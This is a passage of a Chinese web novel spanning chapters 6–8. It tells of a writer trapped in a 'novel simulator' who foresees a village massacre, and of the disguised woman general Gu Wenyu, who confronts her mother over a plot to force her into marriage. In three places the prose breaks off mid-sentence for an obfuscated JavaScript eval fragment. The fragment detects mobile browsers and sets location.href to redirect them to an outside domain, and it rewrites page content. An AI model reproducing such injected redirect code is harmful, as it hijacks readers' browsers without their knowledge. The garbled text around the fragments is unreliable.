以当前的能量等级来说,这已经是它探索的最大范围了。 可即便如此,系统还是清楚看到了无数绿油油的眼睛从附近、从深山、从灌木里钻出,趴伏在地上,一点一点靠近茅草屋。 它们被草屋内诱人浓郁的血腥气息迷得神魂颠倒,长长的利爪不安在地上刨着,涎水沿着嘴角一滴一滴,不断淌落。 想来若不是柳轻絮这具女童身体的父亲,也就是那个神力惊人的猎户,在过去的数年时间里给这山里的野兽们留下了足够深刻的记忆,恐怕它们早就破门而入了! ——但这还不是最可怕的! 是的,这漫山遍野的野兽,竟还不是这座山上最可怕的危机! 想到这里,系统不由得将自己的位置稍稍拔高,视线投向山脚。 在那里,有一座面积不小、居住着三百余人的小村庄。 由于这座村子里的人都出自同一个宗族,每个人都多少沾点亲带点故,因此,当五十多岁的李五六的老子娘在梦里去了后,整座村子的人都行动了起来。 他们或在胳膊上或在腰间绑上一条白布,再主动从家里捎上一只鸡,带来一块肉,甚至是一口大锅、几个壮劳力,成群结队地来到李五六的家里,帮着李五六把白事的摊子支使开。 所谓的红事不请不到,白事不请自来,就是如此。 而更妙的是,李五六也不是那种光想着占乡亲们便宜的人,而他也用不着占这个“便宜”。 李五六是长子,下头活了三个弟弟、三个妹妹。后来随着弟弟分家,妹妹出嫁,李五六继承了自己老子娘的祖屋和田地后,自己又生了三男二女五个孩子。 如今,虽然李五六的女儿都出嫁了,三个儿子却正值壮年! 并且李老头和李老娘死后,李五六的三个弟弟三个妹妹,自然也是拖家带口地过来奔丧,这一来,又是许多子子孙孙。 因此,李五六家的丧事,完全不需要乡亲们的帮忙,甚至连抬棺人和负责做流水席的厨娘都不需要,只从外头雇了两个专业的哭丧人,便自己把自己老子娘的白事摊子铺开了,没叫乡里乡亲们多操半点心。 甚至他们的流水席,都阔气地摆了整整五天五夜! 按照李五六的说法是,他的老子娘都活到八十多岁了,是在睡梦中安详去了的,这是喜丧! 既然是喜丧,那除了哭灵的那一天外,谁都不能哭丧着脸,也不要有半点负担和悲伤,都敞开了笑,敞开了吃! 这样的一户人家,这样的一个村庄,还有这样的一场白事,若放在其他的故事里,必然是带着积极向上的意味的,是用来展示乡下人家浓厚的人情味,和他们淳朴的同理心的。 可偏偏,这是一个鬼故事。 而这个鬼故事的名字,叫《无人可渡》。 想到这个鬼故事里的各种变态设定,以及接下来即将发生的事,再回头看看仍沉浸在写小说中无法自拔的柳轻絮,系统忍不住擦了擦自己脑门上不存在的汗,心生疑惑: 柳轻絮这位知名坑文写手,怎么会这么执着、且有信心写完这篇《心火》? 按理来说,坑文成性的写手,不都是没有收尾能力的吗? 更重要的是,《心火》这个故事的难度等级只有R,也就是说这个故事里是不存在什么太逆天的超凡力量的。 所以,这篇故事的后续走向,无论怎么写,都绝不会像某些平台上的写手那样,明明写着都市官场文,却突然就变成了特种兵龙王回归,然后就变成了风水探奇急急如律令,然后就变成了都市修真神王仙帝,最后直接飞去外太空开天辟地…… 这种扯淡行为,在小说模拟器中是被严格禁止的! R级的难度就是R级的难度。 哪怕故事中出现了一些超凡力量——比如说妖魔镜女——它也不会成为故事的主线,而只能作为故事的辅助存在。 也就是说,力量超格的镜女,可以在R级的故事里作为某个象征物,在某个关键时刻扭转命运,给予故事新的方向,但却不能让顾闻玉随时存档回档,把世界当作单机游戏来玩,令故事的性质发生直接的改变。 所以它也绝不能让顾闻玉化身妖魔,从此神挡杀神佛挡杀佛,最后杀上九重天,建立天庭,成为说一不二的天界女帝,而后一直活到星际时代,在虫族入侵地球告危时用一手凤凰真火烧掉所有的侵略星舰,立于九天之上,成为万人膜拜的迷人的老祖宗,骄傲宣告“地球,我罩的,懂”……不可能的! 小说模拟器是不可能允许写手写出这种没吃药一样的故事走向的! 综上所述,一篇难度等级为R的故事,受限于故事的性质和世界的能量等级,它可提供给写手的资源,也不过仅有R~SR这个区间,是极其有限的。 如果柳轻絮想要获得超出常规的、能直接扭转她自身命运的道具或能力,就只有故事完结后的抽卡。 可是,之前系统就向柳轻絮强调过,一本难度等级为R的故事,哪怕演绎得完美无缺,它最后的评级也不会过超过SR,而在SR的卡池里,也不是必然能抽到SR级别的道具。 但当前【李家村】的场景故事难度,是SSR! SR和SSR!玩过抽卡游戏的都知道它们的差别有多大! 所以,柳轻絮到底在期待什么? 为什么她不见好就收,抓紧时间跑路? 她究竟怀着什么样的信心、想要从难度等级R的《心火》中获取什么样的道具,才有这样的把握,对抗即将到来的SSR? ……不,光是草屋外的这群野兽,就很要命了啊! 想到这里,系统忧虑而不抱希望地再次开口:【亲爱的写手,您是否想要结算当前故事《心火》?】 柳轻絮想也不想地回答:【不结算。】 系统苦口婆心地劝道:【亲爱的写手,半途结算一个故事,不代表您就跟这个故事永别了呀!只要您在后续的写作中抽到它,您就可以继续演绎它,就可以以更从容更深思熟虑的姿态将它写完。 【既然这并非一锤子买卖,您又何必在这样要命的关键时刻,执着于想要写完结局呢? 【完整或许比完美更重要,可比完整更重要的,是当下、是现在啊!】 对于有些人来说,准备万全、攻略完整的,才叫远行;对于另一些人来说,轻装上阵、兜里有钱的,也叫远行。 可对于一些一无所有的人来说,她们只要迈步,就是在向前,只要离开,就是一场远行啊! 柳轻絮被打断了思路,同时也是被系统的诚恳和担忧打动,终于掩卷,将思路从故事里拉了回来。 她说道:【系统,我问你,你知道接下来这座山,还有山下的李家村会发生什么吗?】 系统并无迟疑,快速回答道:【浊气污染,死而复生,恶鬼屠村,百里无人。】 是的,这就是柳轻絮为李家村写下的结局。 为何这本鬼故事叫《无人可渡》? 因为无人生还。 这是一个人皆有罪的世界,无仙无神,妖魔横行。 这个世界的天道秩序是崩坏的,地府的轮回是倾塌的。 秩序的存在,在此地永远短暂、转瞬即逝,唯有混乱,才是这方世界永恒的主旋律。 而造成这一切的罪魁祸首、令这个世界崩坏至此的,就是“浊气”。 又或者说是“魔气”。 它们并不像传统的描述那样,只集中在某处地方,被高人牢牢封印,只要人们自己不作死,它就永远不会成为人类的灾祸,而是如附骨之疽,无处不在! 它们交缠在空气里,沉淀在雨云里,降落在泥土里,融化在江海里,甚至流淌在人们的血管里! 这个世界的每一个生灵,甚至每一样死物,都必然避不开浊气,都必定身具浊气,并自带污染的倒计时。 当这倒计时走到尽头时,人就会因为浊气的积累和沉淀,发生一场可怕畸变,轻者肢体扭曲;重者失魂夺魄,成为只知道杀戮的失心人。 甚至就连鬼魂,也无法从这污染中逃脱! 鬼魂作为一种游离在物质界之外的能量体,因没有肉|身作为浊气污染的缓冲物,十分容易受到浊气的侵蚀。 特别是那种新生的、刚脱离了肉|身,自身魂魄还不够稳定的鬼魂,更是会被浊气吸引,轻易引发畸变。 一些倒霉的家伙,很可能前脚刚死,后脚就糊里糊涂地被浊气浸染了个透底,直接变成了噬心鬼! 如果说面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400001|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失心人时,只要这些人不是飞檐走壁的游侠、高来高去的仙师,那么三五个壮汉齐上,还是能将人按住的。 可当面对无形无质的噬心鬼时,凡人的力量便彻底失去了作用。 一只噬心鬼,可以轻易屠戮一座小镇;两只噬心鬼,哪怕普通的仙师来了,也没办法将它们制服! 为此,深受浊气和污染困扰的本地人们,便琢磨出了一种能一定程度上吸收和净化浊气,降低活人的畸变率,主要是防止噬心鬼生成的法器。 这种法器,不拘什么外型,主要是由伏邪铁铸成,之后,再请来一位仙师,在内部刻画法阵。 一样好的法器,只要立在那儿,便可庇护一城之地。 而一样不怎么样的法器,勤做法事勤擦拭,也可庇护一村之地。 李家村的李家宗祠里,自然也有这样的一件法器。 可是,就在今天之后,那件法器化作一地碎片,两只可怕的噬心鬼破土而出! 一夜之间,整个李家村上下三百余人,被屠杀殆尽,一个生机勃勃的村子就此化作一片鬼蜮! 而当李家村隶属的县衙被这起惨案惊动,骇然派人来查探时,他们才震惊从脚印和浊气的变化中发现,那场骇人的屠戮中还有一个人活着,但却是以失心人的身份存活了下来的。 这个奇特的失心人,并不像常见的失心人那样,受到血肉的原始引诱,它没有啃噬地上的任何一具尸体,而是在那可怕的一夜后,与着两只噬心鬼一同离开了。 而更让人想不通的是,在屠杀开始的六个时辰之前,半山腰上,离李家村有不长不短一段距离的猎户家中,猎户的妻女不知为何,被野兽残忍分食。 当官府的人查探到猎户家时,他们只发现了草屋内的斑斑血迹和她们被啃噬得面目全非的尸骨,而至于猎户丁无行,则不知所踪。 事件至此扑朔迷离。 猎户妻女为何而死?猎户丁无行身在何方? 李家村为什么会突然出现两只噬心鬼?李家宗祠内的法器破碎,是意外还是人为? 那只与噬心鬼一同诞生的失心人,为何不受到血肉的引诱?它离开李家村后,与那两只可怕的噬心鬼去往了何方、又有何目的? 对于重山镇的人来说,一切的一切,都是无解的谜题。 可在《无人可渡》这个鬼故事合集里,它的第一个故事,便是从一个奇特的、保有自己理智的失心人,李小夏,以及被她艰难拘束着的两个噬心鬼,祖父李自乐和祖母李四娘,开始说起的。 但这个故事依然没有写完。 哪怕它是《无人可渡》这个合集里的第一个故事,柳轻絮依然没有把它写完——坑王之王,岂是浪得虚名! 柳轻絮问道:【你知道屠村的恶鬼是谁吗?】 系统呆了呆:【不是现在躺在灵堂里的李自乐和李四娘吗?】 在属于李小夏的短短不到三万字的冒险里,柳轻絮无时无刻不在细节里暗示,李家村的毁灭与化身噬心鬼的李自乐和李四娘有着千丝万缕的关系。 而事实上,这也是非常理所当然的想法。 已知,李家村的惨案发生时,在场的只有李自乐和李四娘两只噬心鬼。 而李小夏,她最初也是活人,是一个再正常不过的普通孩子。直到惨案发生后,她才在濒死中被浊气污染、转变。 最后,当她以失心人的身份睁开眼时,一切都结束了。 她失去了光明正大活在阳光下的资格,却也摆脱了屠杀村庄的嫌疑。 既然如此,既然不是李小夏下的手,那答案当然就只有李自乐和李四娘这两只需要李小夏的约束,才不会杀戮和吃人的噬心鬼了啊! 柳轻絮却是摇头。 【你错了。】柳轻絮说,【你以为猎户妻女的死,只是偶然吗?】 系统这才想起了这个线索,不由得一惊。 柳轻絮又道:【杀了李家村上下三百余人的凶手,和杀害猎户妻女,也就是我这具身体的凶手,是同一个人。噬心鬼也好,失心人也好,其实都是幌子,一个小把戏而已。 【所以,你劝我结算,劝我抽卡,是因为你以为在接下来的灾难里,我只要逃跑、跑出百里之外,就能从噬心鬼的屠杀中活下来。 【但是,错了,让我告诉你真相吧——只要那个凶手还活着,我和李家村的那些人,就谁都活不了。 【我若想活,他必要死!】 7. 第7章 功高 柳轻絮再一次打开了那本青色的古籍,再一次将视线投向那个虚假的、却又寄托着她最后一份希望的世界。 而这一次,因屋外迫在眉睫的危机,柳轻絮没有再按照自己最初的预想,详细描述顾闻玉的二周目,以增加信服度,而是将时间迅速拨到了十年后。 · 十年后。 二十五岁的顾闻玉,正带着一小队骑兵,在草原策马,通过水草的长度和绿洲的迁移,判断匈奴王庭的粮食情况,以及他们下一次可能的袭击时间。 而当这次的探查告一段落,顾闻玉率领自己的骑兵小队回城后,她收到了两封信,一封来自上京,一封却来自耒阳。 “我的信?”顾闻玉开口询问。 她的声音,因多年风沙而变得沙哑,本就因幼年流浪而粗粒的皮肤,更是附上层层老茧,甚至她脸上还有一道从眼角划到下颌的伤疤,几乎将她的半张脸都削了下来,令她本就不够秀丽的脸变得越发吓人。 这就是这十年来无人怀疑顾闻玉是女人的原因。 也是她二十五岁便成为岭上关最受人敬仰、也是最年轻的将军的原因。 听到顾闻玉的询问,送信过来的小兵年轻黝黑的脸上泛起红晕,有些结巴地回答道:“是、是的!顾将军,这两封都是你的信,我反复对照过了,绝对没有拿错!” 顾闻玉温和一笑:“多谢你了。” 年轻小兵连忙摆手,话都要说不清了:“不麻烦不麻烦,不客气不客气……” 直到顾闻玉策马走向了将军府,他还立在原地,傻傻发笑:“将军跟我道谢了……将军竟然跟我说谢谢……嘿嘿!” 顾闻玉的将军府不大,因她不常住这儿,所以选将军府时,她刻意选了个秩三百石的犯官宅邸。 而负责打理将军府的仆役,她也只找了几个粗使丫鬟,几个洒扫杂役,连管家和厨娘都没有,人员组成干净极了,既避免了别人发现她的秘密,也不会有人来这儿窃取什么军情机密。 因为就连匈奴都知道,岭上关的顾剑屏顾将军,是个绝不会把军情机要带回家的人。 来到空荡荡的书房,顾闻玉先拆了来自上京城的信。 果然,就如同顾闻玉想的那样,这封上京城的信,来自她的亲爹顾知远。 这封信的内容和前十年送来的信大差不差。 这位顾家的老爷子,先是关心了顾闻玉的身体,然后询问了顾闻玉接下来的打算。 关心身体——这是在关心顾闻玉是否守好了秘密,没有被人发现她的女子身份。 而询问打算——这是问顾闻玉是想要继续待在边关搏前程,还是激流勇退,以伤病为名退伍,交出兵权。 不过,和以往那些信不同的是,这一次的信内又增添了新内容。 “……娘生病了?还是重病?” 顾闻玉按住信件,眉头紧皱,在脑中搜索上一世是否有这么回事。 答案是没有。 她的母亲宋淑,实在是一个难得命好的女子。 她一生既没受过什么苦,也没生过什么病,虽生于小户之家,却自小就被爹娘捧在手上,如珠如玉,长大后嫁的忠勇侯顾知远,虽是个徒有其名的破落户,但也正因为是破落户,才没有高门里常见的那些龃龉。 更不可思议的是,宋母身体康健,就连生孩子的过程都非常迅速,生得快恢复得也快。 当旁人说起女人生孩子如过鬼门关时,她甚至还会嘀咕,说:“生孩子不就疼那么一小会儿的事,怎么就过鬼门关了,怎么就落下这样那样的病了,我生了五个我还不知道吗?真真是个矫情人……” 大抵这世上命好的人,都是像宋母这样的吧,一边将旁人渴望又不可及之物视作随手可弃的玩意儿,一边还要在背后念一句旁人矫情。 总而言之,宋母的身体是相当好的,所以在上辈子这个时间点,她根本就没发生过“病重”这么回事儿。 可话又说回来,就连她顾闻玉都能从苦守杜家十年的弃妇,变成了驻守岭上关的顾将军,那宋母的病重,似乎也不无可能? 顾闻玉沉吟片刻,将这封信暂且放下,接着去拆了第二封信。 这第二封信,来自耒阳。 耒阳是一个让顾闻玉绝不陌生、但却又与此世顾闻玉绝无关系的地方。 这一世,当杜家全族下狱时,她顾闻玉正在向顾父证明她有在军营里搏一个前程的能力,而她二姐姐顾珍玉,则一边躺在床上喝药,一边咒骂她这个疯婆娘。 当杜家全族流放时,她已经以二哥哥顾剑屏之名,拿到文书,踏上了去往岭上关的路,她二姐姐顾珍玉,更是在宋母的安排下相看起了新人家。 自此,她顾闻玉向北,杜宏云向南,从此天南地北,再无会面契机。 而至于原本的贵公子杜宏云,在没了她这个冤大头的日夜照顾后,能不能活着抵达耒阳,恐怕都是一个问题,更别提放下摇摇欲坠的杜家,全心在军营里搏一个前程、为杜家翻案了! 所以,他们二人不会再见,几乎是必然的结果! 可如今,耒阳却有人给她来了信? 谁的信? 为何来? 怀着三分凝重和三分狐疑,顾闻玉看了第二封信。 意料之中的是,这封信竟然真的来自杜家,杜宏云。 这个曾经在上京城食不厌精脍不厌细、连酒凉了都不肯喝的贵公子,竟然真的熬过了流放,并且也如同上一世那样,投身军营。 只不过,按照信里的说法,这一世的杜宏云,过得并不算顺利。 因没有个冤大头在背后全力支持他,而只有一族罪人拖他后腿,所以十年过去了,他还是个秩二百石的校尉而已。 这与秩两千石的骁骑将军顾闻玉,有十倍之差! 看到这里,便是顾闻玉也不由得失笑:杜宏云啊杜宏云,自以为料敌于先、是为天降兵神的你,可知晓自己也会有今天? 在没有了光环、没有了人托着你向上走时,你也会从风口跌下,跌落神坛,露出原形——原来你也不过是一个普通男人而已! 顾闻玉继续看了下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400002|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在略过无用的奉承,试图引人同情的诉苦,和想要拉近距离的忆往昔(和顾剑屏的)岁月后,杜宏云终于说出了他的真正目的: 想要调去岭上关。 原因杜宏云并未说明,只说些“兄弟同心,其利断金”之类的场面话糊弄,但顾闻玉却有所猜想。 上一世,似乎也是这个时间点上,耒阳豪门伍氏里,有个不学无术的公子哥瞧上了杜宏云的妹妹杜惜眉,想要将这个罪奴买回家当丫鬟。 这对于曾经是大家小姐——特别是已经嫁为人妇的杜惜眉来说,这简直就像是天塌了! 若非上一世的杜宏云以大将军的身份回来,给杜喜梅撑腰,震慑了伍氏和杜惜眉的夫家,恐怕里外不是人的杜惜眉那时就只能以死明志了。 如今,这强抢民妇的戏码,恐怕在耒阳又一次上演了,而这回,没有了大将军这个身份后,只是小小校尉的杜宏云,自然没有震慑伍氏的能力。 所以,杜宏云才会想要让他曾经的好兄弟,如今的骁骑将军“顾剑屏”,开口把他杜宏云和他杜家,从耒阳要去岭上关。 以骁骑将军的身份,挪动一户罪臣的户籍,并非难事。 可“顾剑屏”为什么要这么做呢?为了那上称不到三两重的兄弟情谊吗? 杜宏云自己怕也是底气不足,知道在他作为贵公子的那些年里,基本没用正眼瞧过顾剑屏,更谈不上什么兄弟情谊,因此,杜宏云在提出请求的同时,也非常识趣地递上了“投名状”—— 一份意料之中,也是情理之中的情报。 顾闻玉在看完这第二封信后,再去回看第一封信,终于知道身体倍儿棒还能背后蛐蛐别人的宋母,这一世为何会突然病重了。 但她仍抱着最后希望,给顾父去了一份加急信件,又向龙椅上的天子发去一封急信,恳请天子允许她回京一趟,探望病母。 小半月后,天子的回信和顾父的回信同时抵达。 如顾闻玉所料的,天子非常爽快地同意了顾闻玉回京探望病母的请求。 但天子又加了一个要求,那就是只许骁骑将军独自回京,而不能带上她的亲兵一块儿回程。 理由则是,近年来匈奴王庭多有异动,为了将匈奴抵御于关外,无论是谁、因何理由,都不能令岭上关分散半点兵力! 意料之中的内容。 顾闻玉随手撂下。 而真正给了顾闻玉“惊喜”的,还是第二封信。 小半月前,在顾闻玉给顾父的回信中,顾闻玉再三询问了宋母的病情,也再三询问了顾父的意见,让顾父慎重考虑是否要她回京。 而顾父的回答十分直白:回!快回!一定要回! 看到答案的这一刻,顾闻玉忍不住笑了起来。 那是连她自己都分不清是失望还是自嘲的笑。 她将两封信全都丢下,面色沉沉:“既然如此,既然你们都这么想要我回京——” 那就回京吧! 就让她看看吧,那些因她才安然端坐高堂的牛鬼蛇神们,究竟想做到、又能做到哪个地步! 8. 第8章 母亲 又半个月后,安排好一切的顾闻玉骑着快马回到京城。 她先是进宫,来到天子面前述职。 但天子如今早已年迈,精力不济,每日上朝都是强撑,日常也都会在宫殿内点上大量的龙涎香、麝香等香料,以遮盖自己身上腐烂的老人味。 因此,在听顾闻玉念经般念了一小会儿的边关变动后,天子便撑不住头晕,不耐地摆摆手,让顾闻玉下去了。 不过,在顾闻玉离开前,天子又冷不丁说道:“朕常与公卿言,国中有顾将军,乃我朝社稷之幸,这十年来,顾卿戍守边陲,栉风沐雨,屡挫胡虏于岭上关外。朕能高枕无忧于庙堂之上,皆将军之功也。” 顾闻玉心中一紧,当即跪下,垂首道:“臣不过做了分内之事。这些年来,将士们之所以战无不胜,乃陛下天威庇佑也!此乃天子之威,臣岂敢居功。” 天子又摆了摆手,说:“顾卿此次归家,可多待些时日,这既是为了忠勇侯夫人,也是为了忠勇侯。朕深知,忠勇侯府历代都是克己奉公,为国尽忠的好郎君,然,顾卿的个人姻缘,亦不可耽搁,此次家去后,便好好操办起来吧!” 说完这番话后,天子挥退了顾闻玉。 顾闻玉在天子殿堂外稍稍站了一会儿,向天子的方向定定看了一眼后,便转身离宫,向着忠勇侯府的方向而去,回到那个十年都不曾回的家。 然而,当顾闻玉终于站在忠勇侯府面前时,她却几乎认不出它的模样来! 此时,距离顾闻玉离家去往岭上关,已经过去了十年。 十年前,忠勇侯府顾家,还是京城里有名的破落户,除了一个好听的侯府头衔之外,家里连多几个丫鬟婆子、洒扫小厮都用不起。 甚至就连大门上的铜钉,都不知道被哪一代家主拔出来偷偷卖掉了,留给后代子孙的,不过是上了漆的木钉而已——会发现铜钉其实是木钉,还是因为上上代的顾家家主也打着这个心思,想要卖掉门上的铜钉换钱,最后却愤怒发现早有人这样干了。 当时,那位顾家老爷的怒骂声半个京城的人都听得见。 于是,“顾府的门钉”便成了京城高门大户中一个不算秘密的秘密、一个确实好笑的笑话。 但如今,顾府的大门焕然一新! 无论是崭新的门匾,威严厚实的大门和绝对实心的门钉,又或者是大门两侧干干净净的石狮子,都在告诉旁人,这户人家绝不是面上光而已。 而当顾闻玉叫开大门,踏进府内后,顾闻玉更是能够感受到那翻天覆地的变化—— 随处可见的杂役与小厮,打理着顾闻玉记忆中本该荒芜如今却盛开着娇嫩鲜花的园子; 来往不休的美貌丫鬟们,或是在院子里扑蝶玩耍,或是在阳光下缝补衣裳; 而侯府内的每一重的院门,也都有身形粗壮的婆子守着,不许人随意出入,每一道院门都如同隔着一层天堑,其森严的等级感,竟恍如一座微型皇宫! 顾闻玉眉头蹙起,看到得越多,眉头便皱得越深。 而当顾闻玉走过一重又一重的院门,来到宋母的院子里时,她看到擦了一脸白粉的宋母正躺在贵妃榻上。 此刻,分明已经是秋末了,可宋母身旁却还有一个打扇丫鬟,一个奉药丫鬟,一个捶腿丫鬟,一个调香丫鬟,一个更衣丫鬟,一个打帘丫鬟,以及两个和宋母说话逗笑的老嬷嬷。 这还仅仅是屋子内站着的。 至于屋子外头那些走来走去的粗使丫鬟,顾闻玉更是一时间都数不清! 想到自己在岭上关将军府的寒酸,再瞧瞧这座忠勇侯府的奢靡无度,顾闻玉终于气笑了。 “母亲这样的排场,怕是宫里的娘娘都比不上吧?” 顾闻玉也不等丫鬟们慢悠悠的通报,几步跨过院子,打帘进了屋内,袍子一撩,稳稳坐下,似笑非笑:“亏得父亲还在信里同我说母亲您正病重,让我速速回京来探望您,还说错过了这一回,怕就是永别……可我瞧着母亲脸上的白,分明是用粉敷的! “母亲,您明知我在岭上关公务繁忙,却还联合父亲骗我回京——您意欲何为?” 顾闻玉的这一番风风火火,叫宋母院子里的人都是一愣。 但很快的,宋母便回过神来,面露喜色,摆摆手叫屋子里的丫鬟婆子都退下后,又向顾闻玉招招手,让她来到塌前,握着顾闻玉的手,注视着顾闻玉如今的模样,脸上难得露出心疼神色,唏嘘不已。 “我儿,你受苦了!”宋母伸手摸摸顾闻玉脸上的那条狰狞刀疤,几乎要落下泪来,“你瞧瞧你,怎么把自己弄成这副模样? “你呀,本就生得不如你大姐姐二姐姐那样好,如今又落了这么可怕的疤,甚至皮肤还这样粗糙,手上的茧子怕是比那乡下妇人还要厚……我的儿,我的儿啊!你这样的一副模样,日后还能寻到什么好夫家啊!” 顾闻玉听着宋母的话,那颗本因宋母难得的关怀而生出暖意的心,飞快地又冷了下去。 她从宋母掌心抽回自己的手,冷淡道:“母亲糊涂了。我乃骁骑将军,秩二千石,镇守一方,位比州牧!如今,我想做什么便做什么,想说什么说什么,从来都只有旁人讨我欢心的份,哪里有小意求全、去讨那根本不存在的夫家欢心的时候?!” 宋母急道:“我的儿,糊涂的人分明是你啊!你被人叫了十年的顾剑屏,便真以为你就叫‘顾剑屏’了么?那分明是你二哥哥的名字!你叫顾闻玉,你是一个女人! “是女人,就是得成亲、得生孩子的!生儿育女,这是女人一生里的头等大事!不生孩子的女人,还算得上什么女人?那就不是个人!是老了后进不了祖坟,只能用席子一卷丢进乱葬岗上,连一炷祭祀的香都得不了的孤魂野鬼! “更何况,哪怕闻玉你不想嫁,你二哥哥也等不了了啊!你怕是不为你自己想想,也要为你至今还未成亲的二哥哥想想啊!” 宋母还要再说,可顾闻玉已不想再听。 她怫然起身,不悦道:“母亲,当年我以二哥哥的身份离家时,你就该料到会有今日!而既然当时母亲你未提,父亲也未提,不就是默认了会有这样的一天、都默认了我与二哥哥都为顾家牺牲,一生都不可嫁娶么? “更何况,母亲你只道男婚女嫁是天经地义,那你有没有想过,欺君之罪是何等后果? “倘若我真的脱下战袍,告诉所有人,那在边关驻守了十年的,并非‘顾剑屏’,而是‘顾闻玉’,你以为天子会欣然接受、甚至会为我们顾家赐福吗? “不!天子只会以欺君之罪让我们顾家下狱,轻则流放三千里,去耒阳与母亲您十年前最看好的好女婿杜宏云作伴;重则夷三族,不仅顾家上下人头滚滚,出嫁女不可逃脱,甚至就连外祖父一家都要受到牵连,鸡犬不留!母亲,你可明白此事轻重?!” 宋母被顾闻玉的描述吓得白了脸,嗫嚅了一下道:“也、也没有这样严重吧。” 顾闻玉冷斥:“怎会没有这样严重?!” 宋母脱口而出:“只要你与你二哥哥各归各位不就没事了?!” 这一瞬间,屋子里的空气骤然沉寂。 顾闻玉深深地、沉沉地看着宋母,直到后者生出了一股说不出地心虚与不安后,才平静说道:“所以,这才是母亲真正的意思,对吗? “让顾剑屏和顾闻玉‘各归各位’,让那个一无是处的瘸子在享受了这么多年的荣华富贵后,又不必付出分毫便轻易摘了他亲妹妹出生入死才得来的荣誉。 “之后,再把那个真正有功劳的女人赶回家,相夫教子,让她闭嘴,让她在为娘家剐下一身血肉后,再用她残留的骨头为夫家熬一锅汤…… “母亲,这就是你——和父亲的意思,对吗?” 宋母被顾闻玉的目光看得又是不安,又是不悦,咬牙道:“你怎么能够这么没有良心?女子嫁人生子,自古便是如此,为娘的分明在为你费心筹谋,你却说得像是娘要把你卖了似的——你倒是不想想,以你的这般姿色,若真要卖,能得几钱?! “还有你二哥哥,你这个当妹妹的,怎可说你二哥哥是瘸子?你这般尖酸刻薄,有没有想过,如果没有你二哥哥的牺牲,你如何能安心以他的身份去建功立业? “结果你倒是好了,一去十年不回,在边关当你风风光光的骁骑将军,可你有没有想过你的二哥哥?你有没想过他这些年来,被迫隐姓埋名,分明是侯府的贵公子,却耽搁到了三十多岁,身边连个知冷知热的贴心人都没有?! “如今当娘的劝你们各归各位,既是为了你二哥哥好,却也是为了你好。你二哥哥已经等不了要娶妻了,你这个当妹妹的同样也早该嫁人了!若再继续等下去,哪怕你有一个骁骑将军的哥哥,你又能嫁去什么好人家?山野村夫吗?! “我儿,听娘的话,不会有错的!这世上当娘的,哪有害子女的呢?” 宋母说得苦口婆心,脸上浑然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400003|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有半点歉疚,反而满是不被子女理解的伤心。 顾闻玉深深看她,片刻后,才说道:“是的,母亲,您不是想要害我。” 不等宋母面露喜色,顾闻玉又道:“您不是想要害我,您单纯只是一个除了男人外,在精神上就毫无寄托的人罢了。 “这不是您的错处,因为您自小在外祖家就只受到了外祖家的‘宠’,而没有得到过真正的‘爱’,所以您没有读过书,您的灵魂没有厚度,不知道世界有多大,宅院有多小,所以您将三从四德视为真理,认为女人一生的价值都在男人与孩子上……” 宋母究竟是个什么样的人? 为什么这个母亲可以一边为了自己的小女儿抗争,顶着威严如天的夫君的压力,也不肯将走失归家的小女儿送走,而非要养在膝下;一边又时时刻刻打压她、凿刻她、甚至不惜打碎她,也要用她血肉模糊的碎片拼出世人眼里贤妻良母的模样? 为什么这个母亲可以一边极致偏心她的二女儿,什么好吃的好用的都第一时间想到她,甚至不惜和儿子儿媳翻脸也要收留寡居的二女儿;一边又不肯对正在夫家受难的二女儿伸出援手,宁可她守寡,也不许她和离,宁可她当贵人家的妾室,也不肯她独自活着? 在顾闻玉的眼里,宋母一直都是这样一个矛盾的、令顾闻玉无法全心去爱也无法全心去恨的人。 她好像是一场疾风骤雨,滋润和哺育了她的其他几个孩子们,可留给顾闻玉的,却只有经久不退的水与风,令顾闻玉一生潮湿。 于是,直到今天、直到活了两辈子后,顾闻玉才终于看清了名为“宋淑”的真相。 “您是一个母亲、女儿、妻子,但唯独不是‘宋淑’。当您在外祖家时,您是他们掌中的猫儿,娇俏可爱;当您在父亲家时,您是他脚边的狗儿,忠心耿耿……您可以是任何东西,但唯独不是个人,所以你也不觉得你的女儿应当是个人。 “您并不是坏人,我终于明白了。”顾闻玉平淡说,“您只是无知、肤浅、愚蠢——同时也不够爱我罢了。” 从六岁,到三十一岁。 再从十五岁,到二十五岁。 整整三十五年,作为子女的顾闻玉终于想明白了,她的母亲宋淑,不是能够遮风避雨的高木,也不是能指引方向的明灯,而只是一个平平凡凡的普通人。 顾闻玉也终于明白,这个平凡的普通人,或许爱她的另外四个子女,但她并不爱、或者说并不够爱她最小的女儿。 她们的母女缘分,就是这样浅薄。 而今天之后,她们的缘分,或许也将走到尽头。 